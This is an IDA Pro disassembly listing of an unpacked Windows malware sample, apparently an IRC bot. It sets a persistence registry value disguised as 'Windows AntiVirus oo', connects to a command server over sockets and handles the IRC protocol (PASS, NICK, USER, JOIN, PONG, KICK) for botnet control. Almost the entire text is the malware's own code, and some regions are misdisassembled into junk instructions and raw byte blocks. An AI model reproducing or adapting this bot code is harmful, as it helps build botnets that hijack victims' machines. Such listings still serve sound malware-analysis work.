;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : F73582C3A26F6D4907AB725CF483F589
; File Name : u:\work\f73582c3a26f6d4907ab725cf483f589_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00027000 ( 159744.)
; Section size in file : 00027000 ( 159744.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg000 segment para public 'CODE' use32
assume cs:seg000
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near ; CODE XREF: seg000:00401075p
; sub_41853D+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aWindowsAntivir ; "Windows AntiVirus oo"
loc_401010: ; CODE XREF: start+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push ds:off_42A058[esi]
push ds:dword_42A054[esi]
call ds:dword_4CDBAC ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_401051
push [ebp+arg_0]
call sub_41B1D0
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call ds:dword_4CDC1C ; RegSetValueExA
jmp short loc_40105B
; ---------------------------------------------------------------------------
loc_401051: ; CODE XREF: start+33j
push ebx
push [ebp+var_4]
call ds:dword_4CDB5C ; RegDeleteValueA
loc_40105B: ; CODE XREF: start+4Fj
push [ebp+var_4]
call ds:dword_4CDBD4 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_401010
pop edi
pop esi
pop ebx
leave
retn
start endp
; ---------------------------------------------------------------------------
loc_401071: ; CODE XREF: seg000:00401087j
push dword ptr [esp+4]
call start
pop ecx
push ds:dword_42A050
call ds:dword_428064 ; Sleep
jmp short loc_401071
; =============== S U B R O U T I N E =======================================
sub_401089 proc near ; CODE XREF: seg000:00401116p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_4010BB
mov ecx, 0FFh
push ebx
loc_4010A0: ; CODE XREF: sub_401089+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_428240[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_4010A0
pop ebx
loc_4010BB: ; CODE XREF: sub_401089+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_401089 endp
; ---------------------------------------------------------------------------
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41B6C5
mov dword ptr [esp], offset dword_42A06C
push dword ptr [esp+14h]
mov esi, eax
call sub_41B6B2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_40110D
loc_4010E7: ; CODE XREF: seg000:004010F9j
xor eax, eax
jmp short loc_40112E
; ---------------------------------------------------------------------------
loc_4010EB: ; CODE XREF: seg000:00401111j
inc ebx
push ebx
push esi
call sub_41B3F2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010E7
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B30A
add esp, 10h
loc_40110D: ; CODE XREF: seg000:004010E5j
test byte ptr [edi+0Ch], 10h
jz short loc_4010EB
dec ebx
push ebx
push esi
call sub_401089
push esi
mov ebx, eax
call sub_41B2A1
push edi
call sub_41B24B
add esp, 10h
mov eax, ebx
loc_40112E: ; CODE XREF: seg000:004010E9j
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401132 proc near ; DATA XREF: seg000:0040124Ao
var_72AF0FBB = dword ptr -72AF0FBBh
var_1577C = dword ptr -1577Ch
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_440B44
call ds:dword_4CDC90 ; closesocket
call sub_40B134
call ds:dword_4CDB50 ; WSACleanup
call ds:dword_4CDB50 ; WSACleanup
mov ebx, ds:dword_428064
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B780
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B780
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_43FDB4
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 0B10000h
sub [ebp+var_1577C+1], ecx
call dword ptr [esi+50h]
push edi
call near ptr 0B10000h
cmp ecx, [ebp+var_72AF0FBB]
inc ebp
lodsb
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 0B10000h
push esp
test eax, eax
jz short loc_4011F7
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, ds:dword_42806C
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011F7: ; CODE XREF: sub_401132+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43FDB0
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_428068 ; ExitProcess
pop edi
pop esi
pop ebx
loc_40121A: ; DATA XREF: seg002:0042A004o
jmp $+5
push 0FFFFh
push 539h
call sub_418872
pop ecx
mov ds:dword_4CD938, eax
pop ecx
retn
sub_401132 endp
; ---------------------------------------------------------------------------
loc_401236: ; CODE XREF: seg000:0041DC1Cp
push ebp
mov ebp, esp
sub esp, 98Ch
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-10h], ebx
mov dword ptr [ebp-0Ch], offset sub_401132
push dword ptr [ebp-0Ch]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_4280A8
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_4CD93C, eax
call esi ; GetTickCount
push eax
call sub_41BAC8
pop ecx
call sub_409A01
push 2
call ds:dword_4CDCA4 ; SetErrorMode
push 7530h ; CODE XREF: seg000:00401302j
push offset aFenr ; "FEnR"
push ebx
push ebx
call near ptr 0EB0004h
or dl, [eax-18h]
pop esi
in eax, dx
lodsb
add [edx], ch
cmp eax, 102h
jnz short loc_4012B6
push 1
call ds:dword_428068 ; ExitProcess
loc_4012B6: ; CODE XREF: seg000:004012ACj
lea eax, [ebp-888h]
push eax
push 202h
call ds:dword_4CDB68 ; WSAStartup
cmp eax, ebx
mov [ebp-0Ch], eax
jnz loc_40186C
cmp byte ptr [ebp-888h], 2
jnz loc_401866
xor eax, eax
mov al, [ebp-887h]
cmp al, 2
jnz loc_401866
mov esi, 104h
lea eax, [ebp-3F4h]
push esi
push eax
call near ptr 0EF0004h
ja short near ptr loc_40128E+3
test [eax], edx
std
; ---------------------------------------------------------------------------
db 0FFh
dd 535056FFh, 0B0ECF3E8h, 0E8508500h, 0B2ECECh, 8858D9Bh
dd 50FFFFF9h, 0FA08858Dh, 5350FFFFh, 0FD10858Dh, 5053FFFFh
dd 1A88CE8h, 8858D00h, 50FFFFF9h, 0FA08858Dh, 6850FFFFh
dd 42AAECh, 0FB08858Dh, 5056FFFFh, 1A81BE8h, 0C858D00h
dd 50FFFFFCh, 0FD10858Dh, 0E850FFFFh, 1A788h, 8530C483h
dd 0A9850FC0h, 39000001h, 42A0901Dh, 0A0ECBE00h, 31740042h
dd 0E8FF3356h, 19E48h, 5904E883h, 3FE82374h, 6A0001A7h
dd 0F759991Ah, 0C28056F9h, 0EC978861h, 470042A0h, 19E27E8h
dd 4E88300h, 72F83B59h, 0C858DDDh, 56FFFFFCh, 14858D50h
dd 68FFFFFEh, 42AAE4h, 0A6ACE850h, 0C4830001h, 14858D10h
dd 50FFFFFEh, 809815FFh, 0F8830042h, 8D1274FFh, 0FFFE1485h
dd 8068FFh, 0E8500000h, 70EC10h, 90358B6Ch, 33004280h
dd 0FF22EBFFh, 42808C15h, 75FB3B00h, 20F8832Dh, 0F8830574h
dd 33237505h, 3A9868FFh, 0FF470000h, 42806415h, 14858D00h
dd 53FFFFFEh, 10858D50h, 50FFFFFDh, 0C085D6FFh, 858DC974h
dd 0FFFFFE14h, 7039E850h, 8D590001h, 0FFFE1485h, 50076AFFh
dd 0B8EBB7E8h, 106ACE00h, 53DC458Dh, 0A326E850h, 446A0001h
dd 0FF18858Dh, 565EFFFFh, 15E85053h, 890001A3h, 0FFFF18B5h
dd 46F633FFh, 0C718C483h, 0FFFF2485h, 43FDB4FFh, 44B58900h
dd 66FFFFFFh, 0FF489D89h, 71E8FFFFh, 0B00BAEBh, 685650h
dd 0E8001000h, 0BCEB64h, 108D8D1Fh, 51FFFFFDh, 14858D50h
dd 50FFFFFEh, 0F674858Dh, 0D868FFFFh, 500042AAh, 1A5B5E8h
dd 14C48300h, 50DC458Dh, 0FF18858Dh, 8D50FFFFh, 0FFFC0C85h
dd 6A5350FFh, 8D535628h, 0FFF67485h, 8D5053FFh, 0FFFE1485h
dd 15E850FFh, 6900BEEBh, 2874C085h, 0C868h, 6415FF00h
dd 0FF004280h, 358BDC75h, 42806Ch, 75FFD6FFh, 0FFD6FFE0h
dd 4CDB5015h, 15FF5300h, 428068h, 0DED03D83h, 7E02004Dh
dd 0DED4A143h, 70FF004Dh, 0A437E804h, 8B590001h, 56FF6AF0h
dd 70EAC3E8h, 0FF56BA00h, 42806C15h, 0DED4A100h, 5839004Dh
dd 68197408h, 7D0h, 806415FFh, 0D4A10042h, 0FF004DDEh
dd 99E80870h, 0E30070EAh, 0A0941D39h, 15740042h, 0DCC41D39h
dd 0D75004Ch, 0FB08858Dh, 0E850FFFFh, 0FFFFFA7Ch, 5C858D59h
dd 68FFFFFFh, 42AABCh, 0A4E0E850h, 8D530001h, 0FFFF5C85h
dd 0E85053FFh, 99CDh, 0FF5C858Dh, 0E850FFFFh, 13CFEh, 0B8068h
dd 0B8685300h, 0E80043FDh, 1A1C0h, 0FF5C858Dh, 9868FFFFh
dd 500042AAh, 1A4A5E8h, 858D5300h, 0FFFFFF5Ch, 0E850016Ah
dd 9991h, 8B38C483h, 7C358BF8h, 8D004280h, 5350F845h, 9BCB6853h
dd 53530041h, 0FF69D6FFh, 234h, 8789C33Bh, 440B4Ch, 15FF1B75h
dd 42808Ch, 5C858D50h, 68FFFFFFh, 42AA58h, 0A454E850h
dd 0C4830001h, 5C858D0Ch, 50FFFFFFh, 13C7DE8h, 5C858D00h
dd 0C7FFFFFFh, 0AA2C2404h, 0E8500042h, 1A432h, 5C858D53h
dd 6AFFFFFFh, 1EE85001h, 83000099h, 0F88B14C4h, 50F8458Dh
dd 86685353h, 530041A6h, 69D6FF53h, 234FFh, 89C33B00h
dd 440B4C87h, 0FF1B7500h, 42808C15h, 858D5000h, 0FFFFFF5Ch
dd 42A9F068h, 0E7E85000h, 830001A3h, 858D0CC4h, 0FFFFFF5Ch
dd 3C10E850h, 858D0001h, 0FFFFFF5Ch, 0C82404C7h, 500042A9h
dd 1A3C5E8h, 858D5300h, 0FFFFFF5Ch, 0E850016Ah, 98B1h
dd 8B14C483h, 0F8458DF8h, 8858D50h, 53FFFFFBh, 10716850h
dd 53530040h, 0FF69D6FFh, 234h, 8789C33Bh, 440B4Ch, 15FF1B75h
dd 42808Ch, 5C858D50h, 68FFFFFFh, 42A98Ch, 0A374E850h
dd 0C4830001h, 5C858D0Ch, 50FFFFFFh, 13B9DE8h, 0A3BCE800h
dd 7F6A0001h, 6803E083h, 42A0C8h, 4CD94468h, 0DAACA300h
dd 0B1E8004Ch, 0A10001A0h, 42A070h, 0C4BF3F6Ah, 68004CD9h
dd 42A0E0h, 0DA94A357h, 95E8004Ch, 6A0001A0h, 0DA04BE3Fh
dd 0E468004Ch, 560042A0h, 1A083E8h, 28C48300h, 0DA981D89h
dd 5D89004Ch, 0DC1D39FCh, 75004CDCh, 0EC458D16h, 15FF5053h
dd 4CDB34h, 775C085h, 753068h, 682CEB00h, 4CD940h, 0DAA81D89h
dd 0DEE8004Ch, 83000000h, 458902F8h, 0BE840FF4h, 39000000h
dd 4CDAA81Dh, 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42806415h
dd 0FC45FF00h, 6FC7D83h, 7D83A77Ch, 840F02F4h, 95h, 74F05D39h
dd 687F6A40h, 42A0C8h, 4CD94468h, 9FFEE800h, 70A10001h
dd 6A0042A0h, 0A0E0683Fh, 0A3570042h, 4CDA94h, 19FE7E8h
dd 683F6A00h, 42A0E4h, 9FDAE856h, 0C4830001h, 0F05D8924h
dd 0FFFF55E9h, 0A41D38FFh, 0F004CDAh, 0FFFF4984h, 687F6AFFh
dd 4CDAA4h, 4CD94468h, 9FB2E800h, 74A10001h, 6A0042A0h
dd 0DAA5683Fh, 0A357004Ch, 4CDA94h, 19F9BE8h, 683F6A00h
dd 4CDAA6h, 9F8EE856h, 0C4830001h, 0F045C724h, 1, 0FFFF05E9h
dd 98CEE8FFh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_401866: ; CODE XREF: seg000:004012DAj
; seg000:004012EAj
call ds:dword_4CDB50 ; WSACleanup
loc_40186C: ; CODE XREF: seg000:004012CDj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401875 proc near ; DATA XREF: seg000:004080A5o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40189A: ; CODE XREF: sub_401875+E6j
; sub_401875+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call ds:dword_4CDBF8 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A9E8
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_4019D7
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B780
push 0
lea eax, [ebp+var_2C]
push ds:dword_42A0A4
push ds:dword_42A0A0
push eax
call sub_40AF07
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_440B50
push edi
push eax
call sub_41B7E0
add esp, 28h
push 6
push 1
push 2
call ds:dword_4CDC78 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov ds:dword_440B44[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_4CDBA0 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401960
push esi
call ds:dword_4CDC90 ; closesocket
call sub_40AA11
push 7D0h
loc_401955: ; CODE XREF: sub_401875+146j
call ds:dword_428064 ; Sleep
jmp loc_40189A
; ---------------------------------------------------------------------------
loc_401960: ; CODE XREF: sub_401875+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_42AAF4
call sub_415322
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4019DB
add esp, 28h
mov edi, eax
push esi
call ds:dword_4CDC90 ; closesocket
test edi, edi
jz loc_40189A
cmp edi, 1
jnz short loc_4019BD
push 0DBBA0h
jmp short loc_401955
; ---------------------------------------------------------------------------
loc_4019BD: ; CODE XREF: sub_401875+13Fj
cmp edi, 2
jnz loc_40189A
push [ebp+var_34]
call sub_40B287
pop ecx
push edi
pop eax
loc_4019D1: ; CODE XREF: sub_401875+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_4019D7: ; CODE XREF: sub_401875+5Aj
xor eax, eax
jmp short loc_4019D1
sub_401875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019DB proc near ; CODE XREF: sub_401875+123p
var_1990 = byte ptr -1990h
var_990 = byte ptr -990h
var_1C0 = byte ptr -1C0h
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1990h
call sub_41BD10
push ebx
xor ebx, ebx
cmp ds:byte_42A0D4, bl
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_120], bl
jz short loc_401A13
push offset byte_42A0D4
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409920
add esp, 0Ch
loc_401A13: ; CODE XREF: sub_4019DB+21j
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AF07
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41BA76
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call ds:dword_4CDC48 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401A7D
push [ebp+arg_0]
call ds:dword_4CDC90 ; closesocket
push 1388h
call ds:dword_428064 ; Sleep
loc_401A76: ; CODE XREF: sub_4019DB+CCj
; sub_4019DB+146j
xor eax, eax
loc_401A78: ; CODE XREF: sub_4019DB+162j
; sub_4019DB+16Aj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A7D: ; CODE XREF: sub_4019DB+85j
; sub_4019DB+EBj ...
mov esi, 1000h
lea eax, [ebp+var_1990]
push esi
push ebx
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+var_1990]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_4CDC10 ; recv
test eax, eax
jle short loc_401A76
lea eax, [ebp+var_990]
push eax
lea eax, [ebp+var_1990]
push eax
call sub_41816E
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A7D
lea edi, [ebp+var_990]
loc_401ACE: ; CODE XREF: sub_4019DB+158j
xor esi, esi
inc esi
loc_401AD1: ; CODE XREF: sub_4019DB+137j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_1C0]
push eax
lea eax, [ebp+var_120]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call loc_401B4A
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401B14
push 7D0h
call ds:dword_428064 ; Sleep
jmp short loc_401AD1
; ---------------------------------------------------------------------------
loc_401B14: ; CODE XREF: sub_4019DB+12Aj
cmp esi, 0FFFFFFFDh
jz short loc_401B42
cmp esi, 0FFFFFFFEh
jz short loc_401B3A
cmp esi, 0FFFFFFFFh
jz loc_401A76
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401ACE
jmp loc_401A7D
; ---------------------------------------------------------------------------
loc_401B3A: ; CODE XREF: sub_4019DB+141j
xor eax, eax
inc eax
jmp loc_401A78
; ---------------------------------------------------------------------------
loc_401B42: ; CODE XREF: sub_4019DB+13Cj
push 2
pop eax
jmp loc_401A78
sub_4019DB endp
; ---------------------------------------------------------------------------
loc_401B4A: ; CODE XREF: sub_4019DB+11Dp
push ebp
mov ebp, esp
mov eax, 5D84h
call sub_41BD10
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp-2C0h]
push ebx
push eax
mov dword ptr [ebp-0A4h], 3
mov [ebp-10h], ebx
mov [ebp-0A8h], ebx
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [ebp-2C4h], ebx
call sub_41B780
push 1Bh
lea eax, [ebp-334h]
push dword ptr [ebp+18h]
push eax
call sub_41B7E0
add esp, 18h
cmp [ebp+8], ebx
jz loc_401F82
push esi
lea eax, [ebp-4484h]
push ebx
push eax
call sub_41B780
dec esi
lea eax, [ebp-4484h]
push esi
push dword ptr [ebp+8]
push eax
call sub_41B7E0
lea eax, [ebp-4484h]
push offset asc_42E0CC ; " :"
push eax
call sub_41BAF0
mov [ebp-0Ch], eax
lea eax, [ebp-4484h]
push esi
push eax
lea eax, [ebp-4AECh]
push eax
call sub_41B7E0
mov esi, offset asc_42E0C8 ; " "
lea eax, [ebp-4AECh]
push esi
push eax
call sub_41C2E4
xor edi, edi
add esp, 34h
mov [ebp-90h], eax
inc edi
loc_401C10: ; CODE XREF: seg000:00401C24j
push esi
push ebx
call sub_41C2E4
mov [ebp+edi*4-90h], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_401C10
mov esi, [ebp-90h]
cmp esi, ebx
jz loc_401F82
cmp [ebp-8Ch], ebx
jz loc_401F82
push 100h
lea eax, [ebp-95Ch]
push ebx
push eax
call sub_41B780
add esp, 0Ch
push 1Fh
pop edx
loc_401C58: ; CODE XREF: seg000:00401C8Cj
lea ecx, [ebp+edx*4-90h]
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C8B
cmp byte ptr [eax], 2Dh
jnz short loc_401C8E
cmp [eax+2], bl
jnz short loc_401C8E
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov byte ptr [ebp+esi-95Ch], 1
mov esi, [ebp-90h]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C8B: ; CODE XREF: seg000:00401C63j
dec edx
jns short loc_401C58
loc_401C8E: ; CODE XREF: seg000:00401C68j
; seg000:00401C6Dj
xor edi, edi
inc edi
cmp [ebp-8E9h], bl
jz short loc_401C9C
mov [ebp-8], edi
loc_401C9C: ; CODE XREF: seg000:00401C97j
cmp [ebp-8EEh], bl
jz short loc_401CAA
mov [ebp-8], ebx
mov [ebp-4], edi
loc_401CAA: ; CODE XREF: seg000:00401CA2j
cmp byte ptr [esi], 0Ah
jz short loc_401CE4
push 7Fh
lea eax, [ebp-0E2Ch]
push esi
push eax
call sub_41B7E0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp-0C0h]
push eax
call sub_41B7E0
lea eax, [ebp-0C0h]
push offset asc_42E0C4 ; "!"
push eax
call sub_41C2E4
add esp, 20h
loc_401CE4: ; CODE XREF: seg000:00401CADj
push esi
push offset aPing ; "PING"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_401D35
push dword ptr [ebp-8Ch]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
mov eax, [ebp+28h]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401DD9
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
add esp, 10h
jmp loc_401DD9
; ---------------------------------------------------------------------------
loc_401D35: ; CODE XREF: seg000:00401CF3j
mov esi, [ebp-8Ch]
push esi
push offset a001 ; "001"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4098DA
push esi
push offset a005 ; "005"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4098DA
push esi
push offset a302 ; "302"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
push offset a@ ; "@"
push dword ptr [ebp-84h]
call sub_41BAF0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401DD9
inc eax
push 9Fh
push eax
push dword ptr [ebp+24h]
call sub_41B7E0
add esp, 0Ch
jmp short loc_401DD9
; ---------------------------------------------------------------------------
loc_401DA0: ; CODE XREF: seg000:00401D74j
push esi
push offset a433 ; "433"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_401DE0
push ebx
push ds:dword_42A0A4
push ds:dword_42A0A0
push dword ptr [ebp+18h]
call sub_40AF07
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
add esp, 1Ch
loc_401DD9: ; CODE XREF: seg000:00401D14j
; seg000:00401D30j ...
mov eax, edi
jmp loc_401F85
; ---------------------------------------------------------------------------
loc_401DE0: ; CODE XREF: seg000:00401DAFj
mov edi, [ebp+20h]
lea eax, [ebp-0E2Ch]
push eax
push edi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_401E00
mov dword ptr [ebp-0A8h], 1
loc_401E00: ; CODE XREF: seg000:00401DF4j
mov esi, [ebp-8Ch]
push esi
push offset aKick ; "KICK"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_401ECA
cmp [edi], bl
jz short loc_401E95
push 7Fh
lea eax, [ebp-0E2Ch]
push edi
push eax
call sub_41B7E0
add esp, 0Ch
cmp [ebp-84h], ebx
jz short loc_401E95
push dword ptr [ebp-84h]
lea eax, [ebp-0C0h]
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_401E95
lea eax, [ebp-0C0h]
mov [edi], bl
push eax
lea eax, [ebp-2C0h]
push offset unk_42E058
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
add esp, 20h
loc_401E95: ; CODE XREF: seg000:00401E1Dj
; seg000:00401E37j ...
push dword ptr [ebp-84h]
push dword ptr [ebp+18h]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_401F82
push dword ptr [ebp+14h]
mov eax, [ebp+28h]
push dword ptr [ebp+10h]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401EBD: ; CODE XREF: seg000:004020D1j
; seg000:00402384j ...
push dword ptr [ebp+0Ch]
call sub_409920
jmp loc_404292
; ---------------------------------------------------------------------------
loc_401ECA: ; CODE XREF: seg000:00401E15j
push esi
push offset aNick ; "NICK"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_401FEA
mov eax, [ebp-88h]
lea esi, [eax+1]
lea eax, [ebp-0E2Ch]
push eax
push edi
mov [ebp+2Ch], esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_401F31
lea eax, [ebp-0E2Ch]
push 21h
push eax
call sub_41C1A0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz short loc_401F31
lea eax, [edi+1]
push esi
push eax
mov byte ptr [edi], 3Ah
call sub_41C0A0
push dword ptr [ebp+8]
add edi, 2
push edi
call sub_41C0B0
add esp, 10h
loc_401F31: ; CODE XREF: seg000:00401EFCj
; seg000:00401F13j
cmp esi, ebx
jz short loc_401F82
push dword ptr [ebp+18h]
lea eax, [ebp-0C0h]
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh
push esi
push dword ptr [ebp+18h]
call sub_41B7E0
jmp loc_4036A6
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: seg000:00401F48j
mov edi, [ebp+20h]
xor esi, esi
loc_401F5F: ; CODE XREF: seg000:00401F80j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp-0E2Ch]
push eax
push edi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_401F8A
loc_401F76: ; CODE XREF: seg000:00401F61j
inc esi
add edi, 80h
cmp esi, 1
jl short loc_401F5F
loc_401F82: ; CODE XREF: seg000:00401BA5j
; seg000:00401C2Ej ...
xor eax, eax
inc eax
loc_401F85: ; CODE XREF: seg000:00401DDBj
; seg000:00404552j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401F8A: ; CODE XREF: seg000:00401F74j
lea eax, [ebp-0E2Ch]
push 21h
push eax
call sub_41C1A0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
